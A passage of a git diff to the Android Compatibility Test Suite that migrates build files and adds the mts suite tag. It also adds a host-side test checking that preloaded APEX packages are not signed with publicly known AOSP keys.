+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAngleDriverTestCasesSecondary",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "src/**/*.java",
+    ],
+    // When built, explicitly put it in the data partition.
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+    ],
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "AngleIntegrationTestCommon",
+    ],
+}
diff --git a/hostsidetests/angle/app/driverTestSecondary/Android.mk b/hostsidetests/angle/app/driverTestSecondary/Android.mk
deleted file mode 100644
index fc1bbd7..0000000
--- a/hostsidetests/angle/app/driverTestSecondary/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-java-files-under, ../common)
-
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_PACKAGE_NAME := CtsAngleDriverTestCasesSecondary
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules AngleIntegrationTestCommon
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/apex/Android.bp b/hostsidetests/apex/Android.bp
index 5b1f436a5..33194a1 100644
--- a/hostsidetests/apex/Android.bp
+++ b/hostsidetests/apex/Android.bp
@@ -15,6 +15,6 @@
 java_test_host {
     name: "CtsApexTestCases",
     srcs: ["src/**/*.java"],
-    test_suites: ["cts", "general-tests"],
+    test_suites: ["cts", "general-tests", "mts"],
     libs: ["cts-tradefed", "tradefed"],
 }
diff --git a/hostsidetests/apex/AndroidTest.xml b/hostsidetests/apex/AndroidTest.xml
index 96aa5a5..201b3de 100644
--- a/hostsidetests/apex/AndroidTest.xml
+++ b/hostsidetests/apex/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="systems" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="jar" value="CtsApexTestCases.jar" />
     </test>
diff --git a/hostsidetests/apex/src/android/apex/cts/ApexTest.java b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
index 89936e1..0347299 100644
--- a/hostsidetests/apex/src/android/apex/cts/ApexTest.java
+++ b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
@@ -32,15 +32,30 @@
     return Boolean.parseBoolean(getDevice().getProperty("ro.apex.updatable"));
   }
 
+  private boolean isGSI() throws Exception {
+    String systemProduct = getDevice().getProperty("ro.product.system.name");
+    return systemProduct.equals("aosp_arm")
+      || systemProduct.equals("aosp_arm64")
+      || systemProduct.equals("aosp_x86")
+      || systemProduct.equals("aosp_x86_64");
+  }
+
   /**
    * Ensures that the built-in APEXes are all with flattened APEXes
    * or non-flattend APEXes. Mixture of them is not supported and thus
    * not allowed.
+   *
+   * GSI is exempt from this test since it exceptionally includes both types os APEXes.
    */
   @Test
   public void testApexType() throws Exception {
+    if (isGSI()) {
+      return;
+    }
+
     String[] builtinDirs = {
       "/system/apex",
+      "/system_ext/apex",
       "/product/apex",
       "/vendor/apex"
     };
@@ -73,7 +88,7 @@
 
   private int countFlattenedApexes(String dir) throws Exception {
     CommandResult result = getDevice().executeShellV2Command(
-        "find " + dir + " -type f -name \"apex_manifest.json\" ! -path \"*" +
+        "find " + dir + " -type f -name \"apex_manifest.pb\" ! -path \"*" +
         CTS_SHIM_APEX_NAME + "*\" | wc -l");
     return result.getExitCode() == 0 ? Integer.parseInt(result.getStdout().trim()) : 0;
   }
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
new file mode 100644
index 0000000..31ed981
--- /dev/null
+++ b/hostsidetests/appsecurity/Android.bp
@@ -0,0 +1,4 @@
+filegroup {
+    name: "CtsHostsideTestsAppSecurityUtil",
+    srcs: ["src/android/appsecurity/cts/Utils.java"],
+}
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index 392ccb6..c37fd33 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -23,14 +23,12 @@
 
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
-LOCAL_STATIC_JAVA_LIBRARIES := truth-prebuilt-jar
-
 LOCAL_JAVA_RESOURCE_DIRS := res
 
 LOCAL_CTS_TEST_PACKAGE := android.appsecurity
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_REQUIRED_MODULES := \
 	CtsCorruptApkTests_b71360999 \
diff --git a/hostsidetests/appsecurity/OWNERS b/hostsidetests/appsecurity/OWNERS
index f86fd96..fc0a238 100644
--- a/hostsidetests/appsecurity/OWNERS
+++ b/hostsidetests/appsecurity/OWNERS
@@ -1,13 +1,15 @@
-# Bug component: 36137
+# Bug component: 533114
 toddke@google.com
 per-file AccessSerialNumberTest.java = moltmann@google.com
 per-file AdoptableHostTest.java = jsharkey@google.com
+per-file ApexSignatureVerificationTest.java = dariofreni@google.com
 per-file ApplicationVisibilityTest.java = toddke@google.com
+per-file AppOpsTest.java = moltmann@google.com
 per-file AppSecurityTests.java = cbrubaker@google.com
 per-file AuthBoundKeyTest.java = cbrubaker@google.com
 per-file BaseInstallMultiple.java = toddke@google.com
-per-file BasePermissionsTest.java = moltmann@google.com
 per-file CorruptApkTests.java = rtmitchell@google.com
+per-file DeviceIdentifierTest.java = cbrubaker@google.com
 per-file DirectBootHostTest.java = jsharkey@google.com
 per-file DocumentsTestCase.java = jsharkey@google.com
 per-file DocumentsTest.java = jsharkey@google.com
@@ -26,7 +28,13 @@
 per-file PkgInstallSignatureVerificationTest.java = cbrubaker@google.com
 per-file PrivilegedUpdateTests.java = toddke@google.com
 per-file ScopedDirectoryAccessTest.java = jsharkey@google.com
+per-file SharedUserIdTest.java = toddke@google.com
 per-file SplitTests.java = toddke@google.com
 per-file StorageHostTest.java = jsharkey@google.com
 per-file UseEmbeddedDexTest.java = victorhsieh@google.com
+# test apps
+per-file BasePermissionsTest.java = moltmann@google.com
+per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
+per-file ReviewPermissionHelper = moltmann@google.com
 per-file UsePermission*.java = moltmann@google.com
+
diff --git a/hostsidetests/appsecurity/res/apexsigverify/README.md b/hostsidetests/appsecurity/res/apexsigverify/README.md
new file mode 100644
index 0000000..c3842e1
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/README.md
@@ -0,0 +1,24 @@
+# Cts Well known key test
+
+## AOSP Well known Key source path
+
+art/build/apex/com.android.runtime.avbpubkey
+external/conscrypt/apex/com.android.conscrypt.avbpubkey
+frameworks/av/apex/com.android.media.swcodec.avbpubkey
+frameworks/av/apex/com.android.media.avbpubkey
+system/apex/apexd/apexd_testdata/com.android.apex.test_package_2.avbpubkey
+system/apex/apexd/apexd_testdata/com.android.apex.test_package.no_inst_key.avbpubkey
+system/apex/apexd/apexd_testdata/com.android.apex.test_package.prepostinstall.fail.avbpubkey
+system/apex/apexd/apexd_testdata/com.android.apex.test_package.postinstall.avbpubkey
+system/apex/apexd/apexd_testdata/com.android.apex.test_package.preinstall.avbpubkey
+system/apex/apexd/apexd_testdata/com.android.apex.test_package.avbpubkey
+system/apex/tests/testdata/com.android.apex.test.avbpubkey
+system/apex/apexer/testdata/com.android.example.apex.avbpubkey
+system/apex/apexer/etc/com.android.support.apexer.avbpubkey
+system/timezone/apex/com.android.tzdata.avbpubkey
+system/netd/apex/com.android.resolv.avbpubkey
+system/core/rootdir/avb/s-gsi.avbpubkey
+system/core/rootdir/avb/q-gsi.avbpubkey
+system/core/rootdir/avb/r-gsi.avbpubkey
+
+## Updating public keys
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test.avbpubkey
new file mode 100644
index 0000000..28bc8f7
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.avbpubkey
new file mode 100644
index 0000000..92767ea
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.no_inst_key.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.no_inst_key.avbpubkey
new file mode 100644
index 0000000..ea34cf3
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.no_inst_key.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.postinstall.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.postinstall.avbpubkey
new file mode 100644
index 0000000..97f26a2
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.postinstall.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.preinstall.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.preinstall.avbpubkey
new file mode 100644
index 0000000..f3593c4
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.preinstall.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.prepostinstall.fail.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.prepostinstall.fail.avbpubkey
new file mode 100644
index 0000000..fe7c4b3
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.prepostinstall.fail.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package_2.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package_2.avbpubkey
new file mode 100644
index 0000000..92767ea
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package_2.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.conscrypt.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.conscrypt.avbpubkey
new file mode 100644
index 0000000..5ce0fbd
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.conscrypt.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.example.apex.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.example.apex.avbpubkey
new file mode 100644
index 0000000..28bc8f7
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.example.apex.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.media.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.media.avbpubkey
new file mode 100644
index 0000000..c0c8fd3
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.media.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.resolv.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.resolv.avbpubkey
new file mode 100644
index 0000000..e0af34c
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.resolv.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.runtime.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.runtime.avbpubkey
new file mode 100644
index 0000000..b0ffc9b
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.runtime.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.support.apexer.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.support.apexer.avbpubkey
new file mode 100644
index 0000000..6113bba
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.support.apexer.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.tzdata.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.tzdata.avbpubkey
new file mode 100644
index 0000000..932091d
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.tzdata.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/q-gsi.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/q-gsi.avbpubkey
new file mode 100644
index 0000000..5ed7543b
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/q-gsi.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/r-gsi.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/r-gsi.avbpubkey
new file mode 100644
index 0000000..2609b30
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/r-gsi.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/s-gsi.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/s-gsi.avbpubkey
new file mode 100644
index 0000000..9065fb8
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/s-gsi.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
new file mode 100644
index 0000000..2392069
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
@@ -0,0 +1,311 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.ZipUtil;
+
+import org.hamcrest.CustomTypeSafeMatcher;
+import org.hamcrest.Matcher;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.ErrorCollector;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URISyntaxException;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.regex.Pattern;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipException;
+import java.util.zip.ZipFile;
+
+/**
+ * Tests for APEX signature verification to ensure preloaded APEXes
+ * DO NOT signed with well-known keys.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ApexSignatureVerificationTest extends BaseHostJUnit4Test {
+
+    private static final String TEST_BASE = "ApexSignatureVerificationTest";
+    private static final String TEST_APEX_SOURCE_DIR_PREFIX = "tests-apex_";
+    private static final String APEX_PUB_KEY_NAME = "apex_pubkey";
+
+    private static final Pattern WELL_KNOWN_PUBKEY_PATTERN = Pattern.compile(
+            "^apexsigverify\\/.*.avbpubkey");
+
+    private static boolean mHasTestFailure;
+
+    private static File mBasePath;
+    private static File mWellKnownKeyStorePath;
+    private static File mArchiveZip;
+
+    private static Map<String, String> mPreloadedApexPathMap = new HashMap<>();
+    private static Map<String, File> mLocalApexFileMap = new HashMap<>();
+    private static Map<String, File> mExtractedTestDirMap = new HashMap<>();
+    private static List<File> mWellKnownKeyFileList = new ArrayList<>();
+    private ITestDevice mDevice;
+
+    @Rule
+    public final ErrorCollector mErrorCollector = new ErrorCollector();
+
+    @Before
+    public void setUp() throws Exception {
+        mDevice = getDevice();
+        if (mBasePath == null && mWellKnownKeyStorePath == null
+                && mExtractedTestDirMap.size() == 0) {
+            mBasePath = FileUtil.createTempDir(TEST_BASE);
+            mBasePath.deleteOnExit();
+            mWellKnownKeyStorePath = FileUtil.createTempDir("wellknownsignatures", mBasePath);
+            mWellKnownKeyStorePath.deleteOnExit();
+            pullWellKnownSignatures();
+            getApexPackageList();
+            pullApexFiles();
+            extractApexFiles();
+        }
+    }
+
+    @AfterClass
+    public static void tearDownClass() throws IOException {
+        if (mArchiveZip == null && mHasTestFailure) {
+            // Archive all operation data and materials in host
+            // /tmp/ApexSignatureVerificationTest.zip
+            // in case the test result is not expected and need to debug.
+            mArchiveZip = ZipUtil.createZip(mBasePath, mBasePath.getName());
+        }
+    }
+
+    @Rule
+    public final OnFailureRule mDumpOnFailureRule = new OnFailureRule() {
+        @Override
+        protected void onTestFailure(Statement base, Description description, Throwable t) {
+            mHasTestFailure = true;
+        }
+    };
+
+    @Test
+    public void testApexIncludePubKey() {
+        for (Map.Entry<String, File> entry : mExtractedTestDirMap.entrySet()) {
+            final File pubKeyFile = FileUtil.findFile(entry.getValue(), APEX_PUB_KEY_NAME);
+
+            assertWithMessage("apex:" + entry.getKey() + " do not contain pubkey").that(
+                    pubKeyFile.exists()).isTrue();
+        }
+    }
+
+    @Test
+    public void testApexPubKeyIsNotWellKnownKey() {
+
+        for (Map.Entry<String, File> entry : mExtractedTestDirMap.entrySet()) {
+            final File pubKeyFile = FileUtil.findFile(entry.getValue(), APEX_PUB_KEY_NAME);
+            final Iterator it = mWellKnownKeyFileList.iterator();
+
+            assertThat(pubKeyFile).isNotNull();
+
+            while (it.hasNext()) {
+                final File wellKnownKey = (File) it.next();
+                verifyPubKey("must not use well known pubkey", pubKeyFile,
+                        pubkeyShouldNotEqualTo(wellKnownKey));
+            }
+        }
+    }
+
+    @Ignore
+    @Test
+    public void testApexPubKeyMatchPayloadImg() {
+        // TODO(b/142919428): Need more investigation to find a way verify apex_paylaod.img
+        //                    was signed by apex_pubkey
+    }
+
+    private void extractApexFiles() {
+        final String subFilesFilter = "\\w+.*";
+
+        try {
+            for (Map.Entry<String, File> entry : mLocalApexFileMap.entrySet()) {
+                final String testSrcDirPath = TEST_APEX_SOURCE_DIR_PREFIX + entry.getKey();
+                File apexDir = FileUtil.createTempDir(testSrcDirPath, mBasePath);
+                apexDir.deleteOnExit();
+                ZipUtil.extractZip(new ZipFile(entry.getValue()), apexDir);
+
+                assertThat(apexDir).isNotNull();
+
+                mExtractedTestDirMap.put(entry.getKey(), apexDir);
+
+                assertThat(FileUtil.findFiles(apexDir, subFilesFilter)).isNotNull();
+            }
+        } catch (IOException e) {
+            throw new AssertionError("extractApexFile IOException" + e);
+        }
+    }
+
+    private void getApexPackageList() {
+        Set<ITestDevice.ApexInfo> apexes;
+        try {
+            apexes = mDevice.getActiveApexes();
+            for (ITestDevice.ApexInfo ap : apexes) {
+                mPreloadedApexPathMap.put(ap.name, ap.sourceDir);
+            }
+
+            assertThat(mPreloadedApexPathMap.size()).isAtLeast(0);
+        } catch (DeviceNotAvailableException e) {
+            throw new AssertionError("getApexPackageList DeviceNotAvailableException" + e);
+        }
+    }
+
+    private static Collection<String> getResourcesFromJarFile(final File file,
+            final Pattern pattern) {
+        final ArrayList<String> candidateList = new ArrayList<>();
+        ZipFile zf;
+        try {
+            zf = new ZipFile(file);
+            assertThat(zf).isNotNull();
+        } catch (final ZipException e) {
+            throw new AssertionError("Query Jar file ZipException" + e);
+        } catch (final IOException e) {
+            throw new AssertionError("Query Jar file IOException" + e);
+        }
+        final Enumeration e = zf.entries();
+        while (e.hasMoreElements()) {
+            final ZipEntry ze = (ZipEntry) e.nextElement();
+            final String fileName = ze.getName();
+            final boolean isMatch = pattern.matcher(fileName).matches();
+            if (isMatch) {
+                candidateList.add(fileName);
+            }
+        }
+        try {
+            zf.close();
+        } catch (final IOException e1) {
+        }
+        return candidateList;
+    }
+
+    private void pullApexFiles() {
+        try {
+            for (Map.Entry<String, String> entry : mPreloadedApexPathMap.entrySet()) {
+                final File localTempFile = File.createTempFile(entry.getKey(), "", mBasePath);
+
+                assertThat(localTempFile).isNotNull();
+                assertThat(mDevice.pullFile(entry.getValue(), localTempFile)).isTrue();
+
+                mLocalApexFileMap.put(entry.getKey(), localTempFile);
+            }
+        } catch (DeviceNotAvailableException e) {
+            throw new AssertionError("pullApexFile DeviceNotAvailableException" + e);
+        } catch (IOException e) {
+            throw new AssertionError("pullApexFile IOException" + e);
+        }
+    }
+
+    private void pullWellKnownSignatures() {
+        final Collection<String> keyPath;
+
+        try {
+            File jarFile = new File(
+                    this.getClass().getProtectionDomain().getCodeSource().getLocation().toURI());
+            keyPath = getResourcesFromJarFile(jarFile, WELL_KNOWN_PUBKEY_PATTERN);
+
+            assertThat(keyPath).isNotNull();
+        } catch (URISyntaxException e) {
+            throw new AssertionError("Iterate well-known key name from jar IOException" + e);
+        }
+
+        Iterator<String> keyIterator = keyPath.iterator();
+        while (keyIterator.hasNext()) {
+            final String tmpKeyPath = keyIterator.next();
+            final String keyFileName = tmpKeyPath.substring(tmpKeyPath.lastIndexOf("/"));
+            File outFile;
+            try (InputStream in = getClass().getResourceAsStream("/" + tmpKeyPath)) {
+                outFile = File.createTempFile(keyFileName, "", mWellKnownKeyStorePath);
+                mWellKnownKeyFileList.add(outFile);
+                FileUtil.writeToFile(in, outFile);
+            } catch (IOException e) {
+                throw new AssertionError("Copy well-known keys to tmp IOException" + e);
+            }
+        }
+
+        assertThat(mWellKnownKeyFileList).isNotEmpty();
+    }
+
+    private <T> void verifyPubKey(String reason, T actual, Matcher<? super T> matcher) {
+        mErrorCollector.checkThat(reason, actual, matcher);
+    }
+
+    private static Matcher<File> pubkeyShouldNotEqualTo(File wellknownKey) {
+        return new CustomTypeSafeMatcher<File>("must not match well known key ") {
+            @Override
+            protected boolean matchesSafely(File actual) {
+                boolean isMatchWellknownKey = false;
+                try {
+                    isMatchWellknownKey = FileUtil.compareFileContents(actual, wellknownKey);
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+                // Assert fail if the keys matched
+                return !isMatchWellknownKey;
+            }
+        };
+    }
+
+    /**
+     * Custom JUnit4 rule that provides a callback upon test failures.
+     */
+    public abstract class OnFailureRule implements TestRule {
+        public OnFailureRule() {
+        }
+
+        @Override
+        public Statement apply(Statement base, Description description) {
+            return new Statement() {
+
+                @Override
+                public void evaluate() throws Throwable {
+                    try {
+                        base.evaluate();
+                    } catch (Throwable t) {
+                        onTestFailure(base, description, t);
+                        throw t;
+                    }
+                }
+            };
+        }
+
+        protected abstract void onTestFailure(Statement base, Description description, Throwable t);
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DeviceIdentifierTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DeviceIdentifierTest.java
index 03c7172..9687e97 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DeviceIdentifierTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DeviceIdentifierTest.java
@@ -59,7 +59,8 @@
 
     public void testDeviceIdentifierAccessWithAppOpGranted() throws Exception {
         setDeviceIdentifierAccessAppOp(DEVICE_IDENTIFIER_PKG, true);
-        Utils.runDeviceTests(getDevice(), DEVICE_IDENTIFIER_PKG, DEVICE_IDENTIFIER_CLASS,
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), DEVICE_IDENTIFIER_PKG,
+                DEVICE_IDENTIFIER_CLASS,
                 DEVICE_IDENTIFIER_TEST_METHOD);
     }
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index b0ee6ae..8ae80fc 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -603,18 +603,17 @@
         installPackage(config.apk);
 
         // TODO: extend test to exercise secondary users
-        for (int user : Arrays.copyOf(mUsers, 1)) {
-            updatePermissions(config.pkg, user, new String[] {
-                    PERM_READ_EXTERNAL_STORAGE,
-            }, true);
-            updatePermissions(config.pkg, user, new String[] {
-                    PERM_WRITE_EXTERNAL_STORAGE,
-            }, false);
+        int user = getDevice().getCurrentUser();
+        updatePermissions(config.pkg, user, new String[] {
+                PERM_READ_EXTERNAL_STORAGE,
+        }, true);
+        updatePermissions(config.pkg, user, new String[] {
+                PERM_WRITE_EXTERNAL_STORAGE,
+        }, false);
 
-            runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_Open", user);
-            runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_Update", user);
-            runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_Delete", user);
-        }
+        runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_Open", user);
+        runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_Update", user);
+        runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_Delete", user);
     }
 
     @Test
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
index 3bc1654..85609f9 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
@@ -17,6 +17,7 @@
 
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
+
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
@@ -60,14 +61,16 @@
     public void testInstallBase_full() throws Exception {
         testInstallBase(false);
     }
+
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testInstallBase_instant() throws Exception {
         testInstallBase(true);
     }
+
     private void testInstallBase(boolean instant) throws Exception {
         new InstallMultiple(instant).addApk(APK_BASE).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
     }
 
     @Test
@@ -75,14 +78,16 @@
     public void testInstallBaseAndConfigSplit_full() throws Exception {
         testInstallBaseAndConfigSplit(false);
     }
+
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testInstallBaseAndConfigSplit_instant() throws Exception {
         testInstallBaseAndConfigSplit(true);
     }
+
     private void testInstallBaseAndConfigSplit(boolean instant) throws Exception {
         new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_BASE_pl).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
     }
 
     @Test
@@ -90,25 +95,31 @@
     public void testInstallMissingDependency_full() throws Exception {
         testInstallMissingDependency(false);
     }
+
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testInstallMissingDependency_instant() throws Exception {
         testInstallMissingDependency(true);
     }
+
     private void testInstallMissingDependency(boolean instant) throws Exception {
         new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_B).runExpectingFailure();
     }
 
     @Test
-    @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest receivers")
+    @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest "
+            + "receivers")
     public void testInstallOneFeatureSplit_full() throws Exception {
         testInstallOneFeatureSplit(false);
     }
+
     private void testInstallOneFeatureSplit(boolean instant) throws Exception {
         new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_A).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
